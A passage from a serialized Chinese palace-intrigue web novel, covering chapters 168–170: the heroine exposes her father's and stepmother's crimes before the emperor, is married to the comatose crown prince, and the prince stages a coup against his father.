可如今沈曦这样油盐不进,她的所作所为都像是一拳打在棉花上,半点作用起不了。 搞不好,还被沈曦牵着鼻子走... 这场戏要继续唱下去吗? 就在她迟疑之际,在人群里的张兰倏然飞扑上前抱着沈慕兮的大腿。 “大小姐,妾身求你了,我知道你看不上我平民出身,不想承认我这个平民继母,要怪只能怪我情难自禁,求你不要把过错推在你父亲身上...” 沈慕兮的目光才刚落在张兰身上。 周围围观的百姓又开始了各种臆想。 “我早就知道沈府大人娶了一个带着女儿的寡妇做继室,没想到竟是这样,情难自禁,沈大人还真是至死是少年啊。” “这个大女儿,之前不是一直都被放在外头吗?她回去没多久之后生母就死了,其中肯定有问题。” “那你的意思是...” “还能什么意思?肯定是这个沈家大小姐命硬克死亲娘,还仗势欺负继母呗。” “不,沈府的人说谎。” 一个爽朗的声音打破了众人的谈论。 众人立刻让开了一条道。 一个身穿粗布麻衣、剑眉星目的年轻男子从人群中走出来。 面带愤恨地看着沈柔母女。 “之前,并非沈大人主动娶的续弦,而是这个续弦算计了沈大人。” 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第168章 慕容明坤过河拆桥,沈钏海凉凉 “不,不对,其实连算计也算不上,是这个女人跟沈钏海沈大人二人刚好臭味相投,想要谋取以前沈夫人的县主府。” 男子的话一出口,所有人哗然。 张兰很快被小东宫的人趁机拖开了。 沈柔万不得已,只好独自面对“搅局”的人。 在看清男子的模样后,她更是脸色大变。 很快,又可怜巴巴地凑到男子跟前。 “杜衡哥,我知道,之前我退婚是我不对,但是...但是你也不应该说出这样的话让人误会我跟娘亲,我们向来清清白白,如今...” “清清白白?你是指你当初清清白白爬上明太师孙子床上的事情吗?”杜衡冷笑,“当初也怪我眼瞎信了你的鬼话,所以才害得曦曦在沈府这么孤立无援。” 刚才还没震惊完的群众,再次忍不住惊呼。 “我去!我听到了什么?” “我没记错的话,这个,好像是不久前被抄家夺爵的安平侯世子,好像就是他最开始悔婚不愿意娶沈府大姑娘,改为娶沈府二姑娘的。” “怨气那么重,敢情真的是做了绿毛龟啊。” 换做是旁人,被这么直白地拆穿真面目,早已羞愤欲死。 偏偏沈柔却格外坚强。 即使面对泼天的言论,她依旧咬唇挺直了腰板,“欲加之罪,何患无辞,你真要这样冤枉我,我多说其他反而是我的错,若是给我泼脏水能够让你扭曲的心舒坦些,那你尽管泼,我相信,孰是孰非自有天论断。” 说话间,她通红眼底挂着的泪珠要掉不掉,看上去好不可怜。 杜衡气极反笑,“我以前还真是瞎了眼,居然觉得你单纯无害。” 三言两语就能将矛头重新指向他,这个“单纯柔弱”的小姑娘,可怕得很呢。 沈慕兮眼看闹剧闹得差不多,直接开口吩咐身边的下人,“既然沈二姑娘觉得自己有天大的冤屈,还觉得我不孝不悌,你们,‘护送’她去鼓院,助她敲登闻鼓;孰是孰非,检院自有论断。” 她自然猜到沈柔跟张兰突然出现是因为什么缘故。 流言是她放出来的,沈钏海跟洪氏昏迷不醒却与她无关,沈柔这明显就是知道内情想要将她拖下水。 若是在这种时候回去县主府,府门一关,谁都不知道会发生什么事情。 况且,在跟沈府的人彻底割席之前,她还没有回去县主府的打算。 让沈柔在这里闹,无非就是为了印证一件事情。 杜衡的出现,倒是出乎她的意料。 为了避免节外生枝,她还是决定将“战场”转移到鼓院。 张兰本来就在听到沈慕兮提及要让沈柔敲登闻鼓时站不住,如今看到沈慕兮一副不愿意搭理她们的样子,她心里更是愈发没底。 就在她思忖要再次飞扑上前之际,远处传来的声响彻底打消了她的“撒泼”念头。 只见两列训练有素的京畿护卫冲开,走到了几人面前。 “官差办公,劳烦避让。” 已经被冲开了的百姓自发地让出了一个豁口。 “这到底是怎么回事?怎么还惊动官差了呢?” “不知道啊,估计其中还有隐情?” 为首的官差亮出了自己羽林卫的腰牌,朝沈慕兮礼貌开口,“劳烦沈小姐跟沈府姑娘随属下走一趟。” 羽林卫如今并入的侍卫,大多数是曾经的宫家军。 沈慕兮深深地看了举起腰牌的侍卫一眼,从善如流地点头,“好。” ... 半个时辰后。 养心殿。 慕容明坤意兴阑珊地坐在御书案后,抿唇托着下巴半阖眼眸,似是在隐忍某种欢悦。 片刻后,他身子骤然一松,一名身穿半透明纱衣的宫妃从御书案下钻出,悄无声息地退下。 宫人默认无声地点燃了殿内熏香,才让等候在外的几人进殿。 看到沈慕兮,他眼底闪过一丝玩味。 “太子尚在昏迷,你们一行人在小东宫外拉拉扯扯,是怎么回事?” “皇上...” 沈慕兮才刚开了个头,沈柔就柔弱地哭了起来。 “求皇上为臣女做主。” 慕容明坤身边的内侍尖声轻斥,“大胆,养心殿内,岂容你哭哭啼啼平白抢人话茬?你当这里是什么地方了?” 纵然作为沈府继女,沈柔参加宫宴的次数屈指可数,而且还是跟着洪氏进宫,被安排在角落的位置,几乎没有任何存在感。 自然也就没有机会直面君王威势。 她只知道,自己的柔弱,曾经在沈府以及其他地方都无往不利,如今她只想继续用这份优势在皇宫为自己争取属于自己的东西。 没想到,才刚开口就出师不利... “皇上,臣女也求皇上为臣女做主,”沈慕兮趁机跪在地上开口,“既然今日臣女与沈府的人一起进了宫,请皇上允许臣女把所有问题一并都说明白。” 把一切问题都一并说明白? 说明白什么问题? 沈柔一听沈慕兮的话,直觉就感到不妥。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!还未等她开口,慕容明坤先开口了。 “你们一个个都要朕做主,起码也要让朕知道到底发生什么事,”他看向沈柔,似是在努力回忆,“你是沈...” 沈柔见状,立刻上前,“皇上,我...民女叫沈柔。” 站在慕容明坤身边的内侍想要再次开口训斥,被慕容明坤阻止了。 “你先来说说,到底是什么事,需要让朕做主?” 沈柔立刻开口,生怕沈慕兮抢了自己的话茬,“皇上,事情是这样的...” 她将春猎时候发生的所有事情娓娓道来。 也不知道沈柔是有意还是无意。 那些事情之中,还包括了沈慕兮对她毫不掩盖的敌意、其他沈府人想去小东宫营帐找她却被沈慕兮的丫鬟拒之门外,最后只有一个叫“红豆”的丫鬟胡乱打发他们一些鸡毛蒜皮的小事。 桩桩件件,登不上大雅之堂。 旁人听着,只觉得她在没事找事。 偏偏,她还理直气壮地说出来。 最后,她才避重就轻地说出沈钏海跟沈府老夫人洪氏昏迷的真相—— “自从回到县主府以后,那些下人对我们亦是多有怠慢... 祖母的身体本就虚弱,知道了姐姐在春猎对我沈府的所作所为以后,被气得昏迷过去以后就再也醒不过来。 而父亲也在回去县主府翌日就昏迷不醒,民女怀疑,肯定是县主府的人得了姐姐的示意加害父亲跟祖母,否则,姐姐为何心虚不敢回去县主府?” 听完沈柔的控诉,慕容明坤看向沈慕兮,目光幽深,“沈慕兮,你怎么看?” “臣女行得端坐得正,不惹事,但也不怕事,若是沈柔空口白牙喊冤,皇上就可以相信她的一面之词对臣女产生质疑,那臣女如今手上有足够的证据可以证明沈钏海一开始就对臣女母亲图谋不轨谋财害命,皇上是不是可以直接将沈府的人当场定罪?” 她的话就差没有直接吗慕容明坤是昏君。 站在一旁的内侍当场就要怒斥出声,却被慕容明坤抬手阻止了。 他看向沈柔,眼底写满了探究,意思不言而喻。 沈柔咬唇,还想反驳,“皇上,姐姐她...” “皇上,求皇上给臣女做主。”沈慕兮高声打断了沈柔的狡辩,从袖袋中取出一卷素色布帛,“沈钏海狼心狗肺害死臣女母亲,还望皇上做主,给臣女母亲一个公道,准许臣女和母亲与沈钏海一家划清界线。” 事情转变太突然,连慕容明坤都怔在原地好一会才反应过来。 “胡闹,身体发肤,受之父母,而且,你娘亲已经死了,你又如何做得了你娘亲的主?” 沈慕兮腰板挺直,任由慕容明坤身边的内侍将她手中的那卷布帛取走。 在慕容明坤展开布帛的时候,她又继续道,“在臣女的印象之中,母亲向来身体康健,自从母亲去世以后,臣女每一天都在寻找母亲的死因。 后来在寻找到了所有证据以后,又请了仵作开棺,证实母亲确实因中毒惨死,臣女有理由怀疑,是沈府的人为了谋财害命,且...” 沈慕兮看了一眼沈柔,“当年,沈柔母女进府初时,臣女亲眼看到沈钏海与张氏有苟且,奈何那时候母亲的身体情况已初露端倪且沈府已被沈钏海所把控,因此,母亲才在不得已的情况下将臣女送走。 之后,臣女母亲的身体情况每况愈下。 若非当初与安平侯府世子有婚约,臣女只怕连回来陪母亲走过最后一段路的机会都没有。 再结合臣女回府这些年被各种苛刻。 臣女极有理由可以怀疑,沈柔母女伙同沈钏海乃至于沈洪氏,对我母亲宫氏是早有预谋的谋害。 若是陛下不信,臣女连证人都找到了,只等陛下一声令下,便可通传。” 慕容明坤手上的信息,是慕容景衍细查的,结合沈曦以前的记忆,竟全数能形成闭环。 再加上,慕容景衍后面连人证都给她找回来了,沈慕兮才有一鼓作气快刀斩乱麻的底气。 从流言的散布到沈府的人想方设法想要扑上来咬她一口,全数在她的意料之中。 现在沈慕兮就在赌慕容明坤到底会不会过河拆桥。 沈府的人住在县主府,对沈慕兮来说,就像被粪坑的蛆沾上了一样,虽然不会对她造成什么伤害,却也让她恶心得紧。 慕容明坤坐在御书案后,从头到尾的神色都没有太大的变化,唯有捏着素帛的指节泛白。 他不动声色地看了一眼跪在一旁努力降低自己存在感的张兰,又看着瑟瑟发抖却还想辩解几句的沈柔。 最后才把注意力重新放在沈慕兮身上。 好一会,他才缓缓吐出一个字。 “传。” 有了慕容明坤的首肯。 沈慕兮口中的人证很快被带到养心殿外。 看清来人,张兰脸色一白,差点惊叫出声。 纵然现在没有叫出声,可是她的态度,足以让人细品其中因由。 “沈张氏,你可认识此人?” 本小章还未完,请点击下一页继续阅读后面精彩内容!慕容明坤威严开口。 张兰本能想要张嘴否认,沈慕兮不冷不热地开口道,“欺君之罪,是要诛九族的。” 听到沈慕兮的话,张兰到嘴边的话,无论如何都说不出来。 此时无声胜有声。 慕容明坤看向殿外,贴身内侍立刻走到一脸惊恐的中年婆子身前,皮笑肉不笑地开口道,“老婶子,皇上仁德,给你说实话的机会。 眼下你在殿前,天威凛凛,若有半句虚言,是要掉脑袋的,你可要想清楚再说。” 这话说得... 简直跟用强权压人无区别。 这是在警告婆子不要乱说话呢。 沈慕兮心中冷笑。 中年婆子颤颤巍巍地朝养心殿内磕头,“奴婢荷花,见过皇上,见过所有贵人。 回皇上的问话,是当年伺候在张姑娘身边的丫鬟,早已在与宫小姐认识之前,沈大人便与张姑娘有旧识,沈柔姑娘看似比沈姑娘小,实际,她比沈姑娘大了两年,因此...因此... 沈柔姑娘是沈姑娘同父异母的姐姐。” 话一出口。 在场所有人都惊住了。 尤其是张兰。 她做梦都没想到当年自己身边那个唯唯诺诺已经被灭口了的小丫鬟,竟然活生生地站在自己面前,而且还把她的秘密捅了出来。 事情一下子失控了。 慕容明坤脸色微变,若是眼神可以杀人,张兰早已死了千百遍。 偏偏在沈慕兮面前,他还不能露出破绽。 只好愤怒开口,“沈钏海真是好啊,居然敢公然侮辱我南渊忠烈的遗孤,来人。” 他的声音难得洪亮。 负责伺候在慕容明坤身边的内侍连忙上前。 “传朕旨意,沈钏海欺辱忠烈遗孤,朕特许宫氏休夫,允宫氏嫡女沈慕兮与其断绝父女关系,革去沈钏海吏部侍郎一职,贬为南琼县令,即日启程,不得有误。” 南琼,是南渊最南的位置。 而且因为需要走水路直达,而水路向来不太平,流放在那里的县令经常在路上就失了踪迹。 让他去南琼,实际上跟流放问斩没有区别。 慕容明坤定罪迅速,甚至还不顾沈钏海在昏迷之中,连翻盘的机会都不给。 张兰母女顿时颓丧坐在地上,任由侍卫将二人拖走,再也挣扎不了半分。 沈慕兮假装不知道慕容景衍也是知情,当即眼含热泪,一副“大仇得以申诉”的感激看向慕容明坤。 “臣女,多谢皇上。” 慕容明坤神色稍缓,一脸愧疚地看向沈慕兮,“这是朕的疏忽,若是朕能早些发现,可能宫氏就不会...” 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第169章 透骨相思醉 沈慕兮盈盈一拜,“皇上圣明,最后还是还了臣女母亲一个公道,母亲会感谢皇上的。” 过程如何不重要,重要的是,目的已经达到了。 “求皇上允许臣女不日将母亲的坟迁回宫氏祖坟,让母亲可以常伴外祖父祖母以及舅舅们的膝下。” 宫氏生母去世得早,宫老将军常年在外征战,宫氏几乎是两个哥哥带大的,兄妹感情极其深厚。 若非当年将军府一门三烈,宫氏又何至于连个为她说话的人都没有? 沈慕兮原以为,可能还要掰扯上好一会。 没想到慕容明坤这一次竟轻易准许沈慕兮的请求。 “原本这于礼不合,和到底也是朕理亏在先,沈府无耻在后,朕允了。” 沈慕兮的眉眼迅速爬上喜色。 “多谢皇上。” 就在她准备退下之时,慕容明坤叫住了她。 “太子一直昏迷,到底也是因为小东宫一直以来冷冷清清,你可愿意与太子提前完婚,为太子冲喜?” 他看上去像是在询问,实际上语气十分笃定且带着强势。 沈慕兮脸上迅速闪过一抹惊慌,很快又稳住了。 “可是如今太子还在昏迷,臣女...” 慕容明坤朝她摆了摆手,“行了,就这么安排吧,毕竟,出使北宸迫在眉睫。 若是太子没有醒过来,总要有人站出来...” 说到这里,慕容明坤一脸认真地看向沈慕兮,“当年宫氏满门忠烈,你身上流有宫氏的血脉,比任何人都适合。” “适合”二字,直接定了沈慕兮的去路。 这一次,沈慕兮没有反驳。 “臣女,遵旨。” “好,这才是真正的宫氏血脉,”慕容明坤满意点头,“去吧。” 沈慕兮低眉顺目垂首退出养心殿。 直到看不到沈慕兮的身影,慕容明坤还略带玩味地看着沈慕兮离开的方向。 贴身内侍送来了赤色丹丸以及一杯赤红色的清透茶水。 “陛下,该用仙药了。” 慕容明坤很快就水服下了丹药。 药效上头,他一张脸通红,状似无意地笑问贴身内侍,“沈氏的表现,你怎么看?” 内侍一改在人前的高高在上,立刻谄媚开口,“沈姑娘伶俐机智,每一步都能走到陛下的意料之外,给陛下意料之喜,若是能常伴陛下左右,定是极好。” 慕容明坤满意点头,眼底墨色浓稠,“朕也是这么想的。” 这种不按常理出牌的女子,不知在榻上,可以给他带来多少惊喜。 许是仙药起了作用,他才刚想到沈氏那张脸,一股热意迅速涌到了身体的某一处。 内侍见状,立马朝外吩咐,“传——陈贵人、吴美人。” ... 宫人带着沈慕兮离的一路上,她都表现得谦和有加。 直到出了巍峨宫门上了小东宫的马车,她才敛去脸上的低眉顺目。 红豆早在不久前看到沈柔母女被拖出来的时候就开始提心吊胆。 生怕下一个被拖出来的是沈慕兮。 所幸,沈慕兮是自己走出来的。 虽然眉宇之间有退不去的郁色,但好歹也是全须全尾。 “小姐,皇上可是与你说了什么事情?” 沈慕兮眉眼下压,硬是给眉心拧出一股褶皱,“皇上允许我将母亲的坟迁到宫家祖坟,让我与太子殿下提前完婚冲喜,还提了去北宸出使一事。” 红豆似懂非懂地点头,“冲喜跟迁坟是小姐提前预料到的事情,但是...” 说到这里,红豆停顿了一下,眼底闪过一丝疑惑,“去北宸出使...” 不久前,皇上才在行宫赐下绿头牌暗示小姐以后可能会进宫,如今却主动提起出使一事... 怎么听怎么不对劲。 “我怀疑,”沈慕兮冷笑,“他这是要以这次出使作为契机,驯服我。” 之前太子出使北宸意味着什么,很多人都清楚。 慕容明坤不可能不知道。 但是他还是说出来了。 她压根不用猜,就已经可以预想到,过不了多久,肯定会有人在她面前“胡言乱语”,说出一些与旁人提及的不一样的关于出使北宸的实际情况。 慕容景衍昏迷成了废人,若是她不想死,自然会求到他的面前... 男人,无非就是财权色。 想到这里,沈慕兮攥紧衣袖,眼底闪过一抹冷意。 “他想要对我做些什么,也要看看他有没有那个命。” 他真以为她每次去见他是闹着玩吗? ... 小东宫外。 沈慕兮遇到一个自己无论如何都想不到出现的人。 “杜衡?他怎么还没走?” 进宫之前没注意到。 如今沈慕兮才发现杜衡身上穿着一身质量极差的长衫。 因为已经没了在面对沈柔时候的咄咄逼人,反而多了几分颓丧。 看到沈慕兮,他目光微亮,抬腿就要走到她面前。 “曦曦...” 被小东宫门外的侍卫拦下了。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“杜公子有事吗?” 杜衡的嘴巴微动,最终还是小声开口,“对不起,因为以前...” 后面的话,他半句说不出口。 一直以来,他都以为沈柔是受害方,而沈曦则是看不惯沈柔莫名其妙成了她的继妹,无所不用其极地伤害沈柔。 直到后来发现了沈柔的真面目,他才知道自己错得多么离谱。 不相信沈柔以后,沈曦为他所做的所有付出,终是有迹可循。 他... 好像弄丢了那个,曾经心心念念都是他的人。 杜衡懊恼的神色变幻莫测。 落在沈慕兮眼中,如同笑话。 她的目光跟她的语气一样冷淡,“没关系,不管你说多少句对不起,我都不可能原谅你。” 真正的沈曦已经死了。 她没有资格为她原谅任何一个害死她的人。 似是早已有所预料。 杜衡苦笑,“我知道,这次前来,除了跟你道歉,也是向你道别。” “如果你觉得,跟我道歉之后,不管我原不原谅你,你的心里会好受一些,那很抱歉,你连一个道歉的资格都没有。” 说完,沈慕兮头也不回地进了小东宫。 杜衡最开始并没有反应过来什么说的是什么意思? 直到沈慕兮进了小东宫。 他才像是被狠狠扇了一巴掌一样,反应过来了。 “沈曦,你出来,你跟我说清楚,你是什么意思?” “沈曦!!” 什么叫连道歉的资格都没有? 他跟沈曦道歉,若是没有道歉的资格,那是不是意味着,刚才那个,并不是沈曦... 回想沈曦自从落水醒来以后,连沈府的人都觉得她性情大变... 杜衡再也冷静不下来了。 他疯了一样想要闯进去小东宫,却一直被小东宫的人拦在门外。 “沈曦,你今天若是不给我一个交代,休要怪我不客气。” 如果小东宫里面的不是真正的沈曦,那真正的沈曦又去哪里了? 就在他考虑要不要再闹出其他大动静的时候。 一名身穿粉色马甲的丫鬟出现在门口,隔着侍卫拦下杜衡的长枪与他相望。 “杜公子难道想要对我家小姐的亏欠要多加深几分?” 简单一句话,杜衡突然像是一只被抽了线的虾一样,本来尚算挺拔的腰脊一下子塌了下来。 他看向小丫鬟,想要多问几句,抬眼之时,小丫鬟却已经走远了。 他... 对沈曦,确实很多亏欠。 心中像是被突然用力捅出了一个大窟窿,冷风飕飕地往里灌。 冷风过后,大窟窿空缺的那一块却无论如何都填补不上。 鲜血淋漓且空虚... 还带着隐隐的疼痛。 他踉跄着后退了一步。 抬头看了一眼匾额上鎏金的小东宫三个字,他嘴角微动,最终只是留下一句“是我错了”,之后颓废离开。 小东宫后院。 红豆把刚才在门口看到的场景眉飞色舞地跟沈慕兮说了一遍。 嘴角还挂着一抹解恨的畅快笑意。 “奴婢早就看那个世子爷不顺眼,居然敢一而再再而三地在小姐面前蹬鼻子上脸,他也不想想,当初若不是小姐不眠不休为侯夫人炼药,侯夫人的体质根本不如现在这么好,他倒好,被那个狐狸精柔柔弱弱哭一哭就跟丢了魂似的,那狐狸精指哪打哪,现在只想简单道歉两句就让咱们原谅?他以为他是谁啊?” “好了,背后不语人是非。” 沈慕兮笑着安抚红豆。 早在之前还未去北宸的时候,沈慕兮就已经把杜衡当成另外一个试验体。 每一次杜衡跟她接触,都在吸入一种名唤“透骨相思醉”的毒药。 从杜衡开始懊恼的那一刻,就已经注定他活不了多久了。 莫名地。 沈慕兮想到了顾时。 也不知道他身上的透骨相思醉现在毒发到哪一个阶段了。 是吐血坏了心脉? 还是一夜白头? 亦或是,咳血不断? “不知道沈姑娘让属下们前来,有何要事吩咐?” 贺玄的声音从屋外传来。 沈慕兮连忙收回思绪。 “去书房详谈。” ... 书房里。 看着手上完善的人物关系图,贺鸿跟贺玄二人眼底写满了难以置信。 有些人的关系,他们甚至根本就没有猜到那个方面。 “姑娘这是...从哪来的?” 沈慕兮不紧不慢喝了一口茶,“有些是猜的,有些是瞎编的。” 她的话一出口,贺鸿差点被自己的口水噎到了。 “猜...猜的?” 他反手指向其中几对隐藏关系有关联的人物,“你居然能猜到这样?” 沈慕兮波澜不惊地瞥了他一眼,“半真半假才更好让人相信,这个事情,殿下知道,你们只管把水搅浑就可以,殿下不会怪罪的。” “咱们时间紧急,有什么事情想问赶紧一并问了,此时不能有任何差池,否则咱们包括殿下在内,都得吃不了兜着走。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!她的语气果断,还带了几分上位者才有的运筹帷幄。 贺鸿贺玄同时挺直腰板,“是,属下立刻就去办。” 完婚圣旨很快下来了。 有了慕容明坤的干预,礼部那边的安排十分迅速。 再加上宫中的宫娥内侍也有出来帮忙。 不过只用了三天,就已经将整个小东宫跟已经清空了沈府人的县主府布置一新。 一切事情顺利又丝滑。 大婚当日,沈慕兮一身火红嫁衣,将顾筱筱用力抱在怀中,“乖乖听红豆跟绿萝的话,等娘亲把事情都办好了,就去丹阳接你。” 早已经在几天前就跟顾筱筱说好了要将她送离南渊。 可那时候,顾筱筱还在哭着说要陪在沈慕兮身边。 直到昨天,她还在闹脾气,说不想走。 没想到,今日一早醒来,小丫头居然主动跟她认错... “筱筱会很乖,娘亲不用担心。” 还没来得及等沈慕兮细想,门外已经传来了贺鸿的催促。 “姑娘,宫里来人了。” 沈慕兮急忙将顾筱筱交到红豆绿萝手上。 花轿临门,县主府前门张灯结彩,好不热闹。 县主府的后门,一辆低调精巧的马车悄无声息地离开了邺城。 同一时刻,小东宫的马车也缓缓驶向皇宫方向。 半个时辰后,皇宫。 贺月带着一名与顾筱筱长得一模一样的小姑娘恭敬地跪在姜皇后面前。 “见过娘娘。” “这就是晓晓,是吧。” 看向小姑娘的时候姜皇后脸上带着慈爱的微笑,笑意却丝毫不到眼底。 贺月恭敬点头,“回娘娘的话,这是我们小郡主。” 姜皇后牵着晓晓回到自己的凤座上,细细端详,还不忘跟在一旁同样一脸慈爱的慕容明坤笑道,“不愧是衍儿的孩子,这眉眼还真的跟他父亲如出一辙。” 提到慕容景衍,姜皇后的脸色微变,又叹气道,“只可惜...” 后面的话,她没有继续说出口。 转眼看到贺月还一直伺候在一旁,她随口吩咐,“你可以回去小东宫了。” 贺月跪在地上,一脸紧张,“求娘娘让奴婢伺候在小郡主身边。” 姜皇后悄无声息地看了一眼慕容明坤。 后者微微颔首。 她才神色一松。 “罢了,这段时间,你就带着小郡主住在宫中。” 贺月带着小姑娘退下后。 姜皇后才看向慕容明坤。 “皇上,小东宫那边,真的没问题吗?” 慕容明坤眼眸微眯,闪过一抹意味深长,“纵然有问题,他也翻不出花。” 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第170章 慕容景衍到底是哪根筋搭错了? 邺城人都知道,今日是太子慕容景衍大婚的日子。 可因为太子昏迷,所以小东宫纵然一片张灯结彩,却还是安静得跟鬼宅似的。 尤其到了晚上,新娘抱着公鸡拜堂的时候,小东宫的府门居然紧闭,看上去更加可怕了。 当天夜里,似乎还有人听到城外梨园传来了各种鬼哭狼嚎的声音,甚至还有人能闻到血腥味... 不少人感叹—— 这真是一场,邪门的大婚。 太子大婚,群臣沾了太子的光,得了三日休沐。 然而,本该好好的休沐日,愣是没有一个人敢出门。 原因无他,只因在太子大婚当天夜里,梨园被血洗了一通。 一连几日,邺城都萦绕着一股无形的压力,连向来热闹的大街,也格外冷清。 谁都不敢胡乱出来触霉头。 皇宫。 慕容明坤听完暗卫的汇报,满意开口。 “确定都已经斩草除根了?” “梨园已经全无活口,小东宫这几天被属下们清理了一遍,如今已是陛下的囊中之物,只需要陛下一声令下,属下们便可以让小东宫内的人消失得悄无声息。” 也许是觉得慕容景衍如今已经他被稳稳地拿捏在手上。 慕容明坤今日总有一种不管是谁在说话,都像是慕容景衍在说话的错觉。 他浑浊的眼睛里一片沉寂。 思忖片刻,最终点头,“灭了。” 暗卫似乎没想到慕容明坤竟然真的这么绝情。 轻描淡写就要血洗整个小东宫。 他怔愣了一下,才找回自己的声音,“陛下当真不顾一点父子情谊,连半点活路都不留给殿下?” 因为暗卫的语气不对。 慕容明坤很快觉察到了不对劲。 立刻警惕地看向躬身在自己面前的安危,“你是何人?” 就在这时。 另外一名浑身是血的侍卫跌跌撞撞地冲进来。 “陛下,小东宫的人,杀进来了。” 慕容明坤猛地从龙椅上站了起来,“你说什么?” 不可能。 他倏然回头看向前来汇报的暗卫。 刚才躬身的暗卫站直了腰板,将脸上的人皮面具揭下。 看清来人的模样后,慕容明坤的瞳孔骤缩。 “是你?” ... 慕容明坤病了。 朝中群龙无首。 所有朝臣纷纷上书,请成亲当日就醒过来的太子殿下监国。 慕容景衍坐在慕容明坤床边,眼含讥诮。 “父皇,儿臣没有如你所愿死在你前头,你是不是很失望?” 慕容明坤看向慕容景衍的目光几乎要将他生吞活剥。 偏偏那天发现那人是慕容景衍的那一刻,他的胸口位置像是被针扎到了一般疼痛,紧接着,一口气提不上来,眼前一黑。 醒来了就变成了这副流涎水的样子。 “你...逆...逆子...” 他口齿不清地骂慕容景衍。 慕容景衍置若罔闻。 “本宫会担起属于本宫的责任,父皇身体不好,就好好歇着吧。” “你...畜...畜生。” 慕容明坤呼吸浊重,呼哧呼哧的,像是拉风箱一样。 他想抬手,奈何手脚根本不听使唤。 “畜生?” 慕容景衍像是听到了天大的笑话,本来已经转过去的身子重新转回来面对慕容明坤。 “当年,你为了自己的自私害了冷宫几十条人命,后来又因为忌惮外祖,设计害死母后跟外祖一家数百口人,到底谁是畜生,还真不好说。” 听到慕容景衍提及当年的事情,一股巨大的愧疚之情从慕容明坤心底涌起,情绪来得汹涌又磅礴。 慕容明坤胸前一痛,喉间一阵腥甜,“哇啦”一大口鲜血从他的嘴里涌出来。 血迹呈黑红色,显然就是中了毒。 他震惊地看向慕容景衍,“是你...” “父皇,”慕容景衍嘴角笑意深了深,加重了“父皇”二字,“这是礼尚往来。” 礼尚往来? 他知道自己中了毒的事情! 慕容明坤又惊又惧,还未来得及开口,又一口黑血从他嘴里如同水箭一般喷涌而出。 之后,整个人像是被抽空了所有精气神,一眼看过去,像是拢上了一层死气。 慕容景衍冷淡地瞥了他一眼,眼底是无论如何都掩盖不下去的嫌弃。 “郑胜德。” 原先一直谄媚跟在慕容明坤身边的太监连忙上前。 眉眼之间,全是恭敬,“殿下。” “让人清理一下,父皇年时已高,也是时候颐养天年了。” “是。” ... 与此同时。 小东宫。 自从小东宫宫门被关上以后。 沈慕兮这几天一直被保护在主殿。 慕容景衍在大婚当日“醒来”,是她始料未及的。 幸好,贺鸿贺玄常年跟在慕容景衍身边,主仆几人早已形成默契。 该下的毒,她下了。 该配合的地方,她也配合了。 这些天,她能做的,就是提心吊胆听着外头的动静,以防万一慕容景衍失败,她逃跑。 这章没有结束,请点击下一页继续阅读!“笃笃——” 一声清脆的敲门声,打断了沈慕兮的思绪。 “谁?” 她警惕地看向外头。 外头传来了一个沉稳的女声,“太子妃,是奴婢,眼下外面的人已经全数归位,您可以自由在外走动了。” 夏蝉。 这几天被慕容景衍安排在她身边的丫鬟。 按照贺鸿的解释,那就是——若是这几天真有什么事,夏蝉力大无穷,可以扛着她就跑。 夏蝉虽说力大无穷,在伺候她的时候,却极为细心,也有分寸感。 沈慕兮对夏蝉十分放心。 因此在听到夏蝉的声音后,她当即不疑有他,迅速开门。 “娘亲,筱筱回来了!!” 一个熟悉的声音传来,沈慕兮差点没有眼前一黑晕过去。 做梦没想到,筱筱居然被慕容景衍截了回来!! 屋内。 夏蝉努力憋笑,给沈慕兮奉上一杯暖茶,又悄无声息地退下。 红豆、绿萝跟顾筱筱三人跪在沈慕兮面前捏着耳垂,如出一辙的几个小表情看上去好不委屈。 “小姐...” “娘亲...” 沈慕兮太阳穴嗡嗡发疼。 “你们...你们还真是...” 她想骂人。 可对上顾筱筱粉嫩嫩小脸上那个委屈巴巴的小表情时,到嘴边的话硬是骂不出口。 眼看她“真是”了半天没有“真是”出个所以然。 顾筱筱忍不住为慕容景衍开脱,“这个不能怪景叔叔。” 她巴巴地跪爬到沈慕兮腿边,抱着沈慕兮的大腿,“是筱筱不想走才让景叔叔帮的忙,娘亲不要生气好不好...” “筱筱。” 沈慕兮忍无可忍地拔高了音量。 这妮子。 简直就是顺着杆子往上爬。 这是怪不怪谁的问题吗? 连她都要在这几天随时准备跑路。 万一慕容景衍失败了,筱筱回来,跟送死有什么区别? 奈何,顾筱筱根本不明白其中因由。 再加上她平日一直疼爱顾筱筱。 因此,她的偶尔发火,对顾筱筱完全没有威慑力。 眼看女儿还在不停地用小脸蹭她的手,神采飞扬的眸子里写满了与她久别重逢的欢喜。 沈慕兮顿时泄了所有力气。 罢了。 现在她欢喜,她不好扫兴给她找不痛快。 回头找机会,再好好给她上一课便是... 打定主意后,沈慕兮连语气都变得温和了不少,“以后再也不许这样骗娘亲了,知道吗?” “娘亲,筱筱知道的。” 顾筱筱乖巧点头,“景叔叔说,娘亲让筱筱离开,是为了保护筱筱,所以筱筱以后不会任性了。” 沈慕兮将顾筱筱搂入怀中,看向红豆绿萝,“你们也退下吧。” 红豆绿萝如获大赦,迅速退下。 顾筱筱撒娇似的搂住了沈慕兮的脖子,“娘亲,筱筱好喜欢景叔叔,你真的不想跟景叔叔在一起吗?” 面对顾筱筱的旧事重提。 沈慕兮十分无奈地抬手就要拉下顾筱筱的手,“筱筱,娘亲说过...” “可是娘亲,景叔叔跟坏爹爹真的不一样,筱筱看到的。” 顾筱筱打断了沈慕兮的话,执拗地坚持己见。 她那故作成熟的小模样,一下子逗笑了沈慕兮,沈慕兮忍不住刮了刮她的小鼻子,打趣道,“你才多大啊,就知道区分不一样。” “筱筱已经不是三岁小孩子了,懂得分好坏,”顾筱筱赌气似的撅起小嘴,“以前娘亲带着筱筱剥莲蓬,收藕丝的时候,坏爹爹虽然坐在娘亲身边,可是他从来都不看娘亲; 景叔叔不一样,景叔叔会在筱筱跟娘亲散步的时候,趁着娘亲不注意,偷偷看娘亲。” 她说得一把一眼,沈慕兮哭笑不得,“你个小傻瓜,什么偷偷看偷偷不看的,你知不知道你在说什么?” “见过殿下。” 